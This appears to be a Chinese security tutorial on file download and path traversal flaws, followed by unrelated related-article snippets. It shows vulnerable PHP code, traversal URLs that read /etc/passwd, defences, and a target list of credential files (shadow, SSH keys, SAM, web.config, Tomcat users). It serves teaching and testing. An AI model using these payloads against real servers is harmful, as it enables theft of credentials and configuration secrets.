当前位置: 首页 > news >正文

文件下载漏洞, 漏洞原理, 测试方法, 漏洞防御, 常见敏感路径

文件下载漏洞

一, 文件下载漏洞原理

利用条件:
1. 读取文件的路径是用户可控, 且没有校验或检验不严.
2. 使用了读取文件的函数.
3. 输出了文件内容.

漏洞场景一:

后端没有限制哪些路径的文件可以下载

后端代码:

http://192.168.112.200/security/download.php

$file_path = $_GET['filename'];
echo file_get_contents($file_path); // 直接在页面上显示文件内容
Header("Content-type: application/octet-stream"); // 设置响应头为下载而不是读取内容
// 下载后的文件名, 如果不设置默认名称是download.php
Header("Content-Disposition: attachment; filename=".basename($file_path)); 

重点是添加上 "Content-type: application/octet-stream" 响应头后, 向服务器请求的文件就变成自动下载.

漏洞利用:

这里filename参数是用户可控的, 通过这个参数就可以下载其他目录文件, 比如下载passwd文件:

http://192.168.112.200/security/download.php?filename=/etc/passwd

或利用../回溯上级目录, 无论当前在哪一级目录都可能回溯到根目录:

http://192.168.112.200/security/download.php?filename=../../../../../../etc/passwd

漏洞场景二:

后端限制文件允许下载的目录

后端代码:
// 对提交的文件路径前面做了目录拼接, 只允许下载upload目录内的文件
$file_path = "upload/{$_GET['filename']}";if(!file_exists($file_path)){die("你要下载的文件不存在,请重新下载");
}$fp = fopen($file_path, "rb");
$file_size = filesize($file_path);//下载文件需要的响应头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));// 当文件较大时, 需要循环读取文件流,然后返回到浏览器
// feof() 函数确认是否读到了末尾EOF
$buffer = 1024; // 每次读取的大小
$file_count = 0; 
while(!feof($fp) && $file_count<$file_size){$file_con = fread($fp,$buffer);echo $file_con;$file_count += $buffer;
}
fclose($fp);
漏洞利用:

这里如果直接提交upload之外的路径文件读取不到, 例如:

http://192.168.112.200/security/download.php?filename=/etc/passwd

那么后端拼接之后是: upload/etc/passwd, 读取不到.

使用../回溯上级目录绕过:

http://192.168.112.200/security/download.php?filename=/../../../../../../../etc/passwd

那么后端拼接之后是: upload//…/…/…/…/…/…/…/etc/passwd

二, 文件下载漏洞的测试方法.

  1. 发送文件资源请求, 抓包观察参数, 是否有 file, filename, page, url, path 等名称, 可能是文件路径参数.
  2. 尝试提交 ../../../../../etc/passwd类似的参数来下载常见的系统敏感文件, 如果成功说明存在漏洞.

三, 文件下载漏洞防御:

  1. 过滤特殊的字符点 ".", 避免用户在url中可以回溯上级目录.
  2. 对用户输入的参数做严格打的正则校验, 限制访问的目录.
  3. 在php.ini文件中配置 open_basedir , 限制文件访问的目录.

四, 常见的系统敏感路径文件:

# linux:
/root/.ssh/authorized_keys					//ssh登录认证文件
/root/.ssh/id_rsa							//公钥文件
/root/.ssh/id_rsa.keystore					//密钥存放文件
/root/.ssh/known_hosts						//已访问过的主机公钥记录文件
/etc/passwd									//用户信息
/etc/shadow									//密码存放文件
/etc/my.cnf									//mysql配置文件
/etc/httpd/conf/httpd.conf					//apache配黑文件
/root/.bash_history							//记录系统历史命令文件
/root/.mysq1_history						//记录数据库历史命令文件
/proc/self/fd/fd[0-9](文件标识符)			//连接当前正运行的进程
/proc/mounts								//已挂载的文件系统信息
/porc/config.gz								//内核配置文件# windows:
C:\boot.ini									//查看系统版本
C:windows\win.ini							//基本系统配置文件
C:\windows\System32\inetsrv\MetaBase.xm]	//IIS配需文件
C:\windows\repair\sam						//存储系统初次安装的密码
C:\ProgramFiles\mysq1\my.ini				//Mysql配置
C:\ProgramFiles mysq1\data\mysq]\user.MYD	//Mysqlroot
C:\windows\php.ini							//php配置信息
C:\windows\my.ini							//Mysql配置信息

五, 常见的网络服务器敏感路径文件

1. tomcat, jsp
1. tomcat-users.xm1(用户配置文件)tomcat-users.xm]认在conf目录下,或许可以直接使用下戟点下载该文件。http://目标网站/down.isp?filename=tomcat-users.xml&path=C:/Program Files/Apache SoftwareFoundation/Tomcat 6.0/conf/tomcat-users.xm]2. web.xm](网站配器文件》Jsp网站配黑文件默认放在根目录WEB-INF/Web.xm下(一般都有很多内容有时含有数据库连接用户名和密码等关键信息)http://目标站点/file.do?method=downFile&fileName=../WEB-INF/Web.xml
2. php

php一般是mysq1数据库,一般mysq1数据库禁止远程连接,但是有些站点会使用使用phpMyAdmin进行管理。
下载数据库配置文件:

http://目标站点/download.php?filename=../conf/config.php&dir=/&title=config.php
3. asp
http://目标站点/download.asp?filename=../../inc/conn.asp(数据库配置文件)
http://目标站点/download.asp?filename=../../download.asp(网站配置文件)
http://目标站点/download.asp?filename=../../Admin_login.asp(用户登录界面)
http://目标站点/database/xxxx.mdb(数据库路径)
4. aspx
web.config文件《网站配置文件)
aspx站点用根目录下的web.config文件保存配置信息,尝试构造确定根目录:http://目标站点/DownLoadFileLow.aspx?FileName=../web.config

相关文章:

文件下载漏洞, 漏洞原理, 测试方法, 漏洞防御, 常见敏感路径

文件下载漏洞 一, 文件下载漏洞原理 利用条件: 1. 读取文件的路径是用户可控, 且没有校验或检验不严. 2. 使用了读取文件的函数. 3. 输出了文件内容.漏洞场景一: 后端没有限制哪些路径的文件可以下载 后端代码: http://192.168.112.200/security/download.php $file_pat…...

【零参考GAN:Pansharpening】

ZeRGAN: Zero-Reference GAN for Fusion of Multispectral and Panchromatic Images &#xff08;用于多光谱和全色图像融合的零参考GAN&#xff09; 本文提出了一种融合低空间分辨率多光谱(LR MS)和高空间分辨率全色(PAN)图像的新的全色锐化方法–零参考生成对抗网络(ZeRGAN…...

Nacos 注册中心介绍与实操

前言 本文为个人SpringCloud学习笔记&#xff0c;主要记录Nacos的注册中心实操、SpringBoot多模块编程实操等 注册中心 注册中心介绍 注册中心是微服务的一个重要组件&#xff0c;用于实现服务的注册与发现&#xff0c;主要作用包括以下&#xff1a; 服务注册&#xff1a;…...

基于51单片机的智能手机充电器设计

**单片机设计介绍&#xff0c;1660【毕设课设】基于51单片机和MAX1898的智能手机充电器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 51单片机智能手机充电器设计介绍 51单片机智能手机充电器是一种可以实现智能快速充电的…...

nginx 和gateway配置实现动静分离和反向代理

这两个配置文件分别是Nginx和Spring Cloud Gateway的配置文件&#xff0c;它们用于构建网关服务&#xff0c;进行请求的路由和转发。 前端发送请求的时候为了不暴露服务器地址,所以会使用nginx做反向代理的一个主要作用是隐藏后端服务器的真实地址&#xff0c;从而增加网络安全…...

【深度学习实验】网络优化与正则化(二):基于自适应学习率的优化算法详解:Adagrad、Adadelta、RMSprop

文章目录 一、实验介绍二、实验环境1. 配置虚拟环境2. 库版本介绍 三、实验内容0. 导入必要的库1. 随机梯度下降SGD算法a. PyTorch中的SGD优化器b. 使用SGD优化器的前馈神经网络 2.随机梯度下降的改进方法a. 学习率调整b. 梯度估计修正 3. 梯度估计修正&#xff1a;动量法Momen…...

系统韧性研究(3)| 工程系统韧性要求

从最基本的层面上说&#xff0c;系统韧性指的是系统在逆境中继续执行其任务的程度。虽然对操作连续性至关重要&#xff0c;但系统的服务&#xff08;能力&#xff09;只是系统继续执行其任务所必须保护的一些资产。该系统必须检测不利因素&#xff0c;对其作出反应&#xff0c;…...

.net 5 发布后swagger页面不显示问题

1&#xff1a;项目右键属性-》生成xml--用于swagger文件读取 2&#xff1a;开启文件配饰swagger读取指定文件...

Spring Boot 3 整合 xxl-job 实现分布式定时任务调度,结合 Docker 容器化部署(图文指南)

目录 前言初始化数据库Docker 部署 xxl-job下载镜像创建容器并运行访问调度中心 SpringBoot 整合 xxl-jobpom.xmlapplication.ymlXxlJobConfig.java执行器注册查看 定时任务测试添加测试任务配置定时任务测试结果 结语附录xxl-job 官方文档xxl-job 源码测试项目源码 前言 xxl-…...

1985-2020年我国30m土地利用覆盖数据介绍

土地覆盖(LC)决定了地球各圈层之间的能量交换、水和碳循环。准确的 LC 信息是环境和气候研究的基本参数。考虑到在过去几十年中&#xff0c;随着经济建设的发展&#xff0c;中国发生了巨大的变化&#xff0c;连续和精细的 LC 监测是迫切需要的。然而&#xff0c;目前&#xff0…...

Django 社区志愿者管理系统

摘 要 随着社会的发展&#xff0c;社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 社区志愿者服务管理系统&#xff0c;主要的模块包括查看首页、个人中心、通知公告管理、志愿者管理、普通管理员管理、志愿活动管理、活动宣…...

wordpress如何修改数据库里用户ID下一个自增值的开始数字

有时候我们为了让别人认为网站有很多注册用户&#xff0c;会想把网站用户ID的起始数改大一点&#xff0c;因为WP默认的用户ID是从1开始&#xff0c;注册一个就加1&#xff0c;这样别人就很容易知道网站的用户量。 那么如何改呢&#xff1f;首先进phpmyadmin&#xff0c;找到wp…...

利用chatgpt大语言模型来做数据预处理

数据预处理是机器学习中的一个重要步骤&#xff0c;包括数据清洗、数据转换、特征选择等。这些步骤通常需要人工进行&#xff0c;或者使用专门的数据预处理工具和库&#xff0c;如Python的Pandas库、Scikit-learn库等。 今天我们将利用chatgpt(国内版本-小策智能问答)的辅助帮…...

【机器学习】五、贝叶斯分类

我想说&#xff1a;“任何事件都是条件概率。”为什么呢&#xff1f;因为我认为&#xff0c;任何事件的发生都不是完全偶然的&#xff0c;它都会以其他事件的发生为基础。换句话说&#xff0c;条件概率就是在其他事件发生的基础上&#xff0c;某事件发生的概率。 条件概率是朴…...

k8s 资源管理方式

k8s中资源管理方式可以划分为下面的几种&#xff1a;命令式对象管理、命令式对象配置、声明式对象配置。 命令式对象管理 命令式对象管理&#xff1a;直接使用命令的方式来操作k8s资源, 这种方式操作简单&#xff0c;但是无法审计和追踪。 kubectl run nginx-pod --imagengi…...

Golang Gin 接口返回 Excel 文件

文章目录 1.Web 页面导出数据到文件由后台实现还是前端实现&#xff1f;2.Golang Excel 库选型3.后台实现示例4.xlsx 库的问题5.小结参考文献 1.Web 页面导出数据到文件由后台实现还是前端实现&#xff1f; Web 页面导出表数据到 Excel&#xff08;或其他格式&#xff09;可以…...

实战之巧用header头

案例&#xff1a; 遇到过三次 一次是更改accept&#xff0c;获取到tomcat的绝对路径&#xff0c;结合其他漏洞获取到shell。 一次是更改accept&#xff0c;越权获取到管理员的MD5加密&#xff0c;最后接管超管权限。 一次是更改accept&#xff0c;结合参数获取到key。 这里以越…...

[AUTOSAR][诊断管理][ECU][$36] 数据传输

文章目录 一、简介二、服务请求报文定义三、服务请求报文中参数定义(1)blockSequenceCounter(2)transferRequestParameterRecord三、肯定响应(1)blockSequenceCounter(2)transferResponseParameterRecord四、支持的NRC五、示例代码36_transfer_data.c一、简介 这个服务…...

sw 怎么装新版本

我们在安装solidworks时&#xff0c;有时候会提示A newer version of this applic ation is already installed. Installation stopped.如下图所示 这时候需要点继续安装 然后会出现下图所示情况&#xff0c;vba7.1安装未成功 这是因为我们电脑中以前安装过更高版本的solidw…...

正点原子嵌入式linux驱动开发——Linux 音频驱动

音频是最常用到的功能&#xff0c;音频也是linux和安卓的重点应用场合。STM32MP1带有SAI接口&#xff0c;正点原子的STM32MP1开发板通过此接口外接了一个CS42L51音频DAC芯片&#xff0c;本章就来学习一下如何使能CS42L51驱动&#xff0c;并且CS42L51通过芯片来完成音乐播放与录…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括&#xff1a;采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中&#xff0c;设置任务排序规则尤其重要&#xff0c;因为它让看板视觉上直观地体…...

2025盘古石杯决赛【手机取证】

前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来&#xff0c;实在找不到&#xff0c;希望有大佬教一下我。 还有就会议时间&#xff0c;我感觉不是图片时间&#xff0c;因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...

Python如何给视频添加音频和字幕

在Python中&#xff0c;给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加&#xff0c;包括必要的代码示例和详细解释。 环境准备 在开始之前&#xff0c;需要安装以下Python库&#xff1a;…...

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

管理学院权限管理系统开发总结

文章目录 &#x1f393; 管理学院权限管理系统开发总结 - 现代化Web应用实践之路&#x1f4dd; 项目概述&#x1f3d7;️ 技术架构设计后端技术栈前端技术栈 &#x1f4a1; 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 &#x1f5c4;️ 数据库设…...

rknn toolkit2搭建和推理

安装Miniconda Miniconda - Anaconda Miniconda 选择一个 新的 版本 &#xff0c;不用和RKNN的python版本保持一致 使用 ./xxx.sh进行安装 下面配置一下载源 # 清华大学源&#xff08;最常用&#xff09; conda config --add channels https://mirrors.tuna.tsinghua.edu.cn…...

密码学基础——SM4算法

博客主页&#xff1a;christine-rr-CSDN博客 ​​​​专栏主页&#xff1a;密码学 &#x1f4cc; 【今日更新】&#x1f4cc; 对称密码算法——SM4 目录 一、国密SM系列算法概述 二、SM4算法 2.1算法背景 2.2算法特点 2.3 基本部件 2.3.1 S盒 2.3.2 非线性变换 ​编辑…...

在Spring Boot中集成RabbitMQ的完整指南

前言 在现代微服务架构中&#xff0c;消息队列&#xff08;Message Queue&#xff09;是实现异步通信、解耦系统组件的重要工具。RabbitMQ 是一个流行的消息中间件&#xff0c;支持多种消息协议&#xff0c;具有高可靠性和可扩展性。 本博客将详细介绍如何在 Spring Boot 项目…...

【技巧】dify前端源代码修改第一弹-增加tab页

回到目录 【技巧】dify前端源代码修改第一弹-增加tab页 尝试修改dify的前端源代码&#xff0c;在知识库增加一个tab页"HELLO WORLD"&#xff0c;完成后的效果如下 [gif01] 1. 前端代码进入调试模式 参考 【部署】win10的wsl环境下启动dify的web前端服务 启动调试…...

dvwa11——XSS(Reflected)

LOW 分析源码&#xff1a;无过滤 和上一关一样&#xff0c;这一关在输入框内输入&#xff0c;成功回显 <script>alert(relee);</script> MEDIUM 分析源码&#xff0c;是把<script>替换成了空格&#xff0c;但没有禁用大写 改大写即可&#xff0c;注意函数…...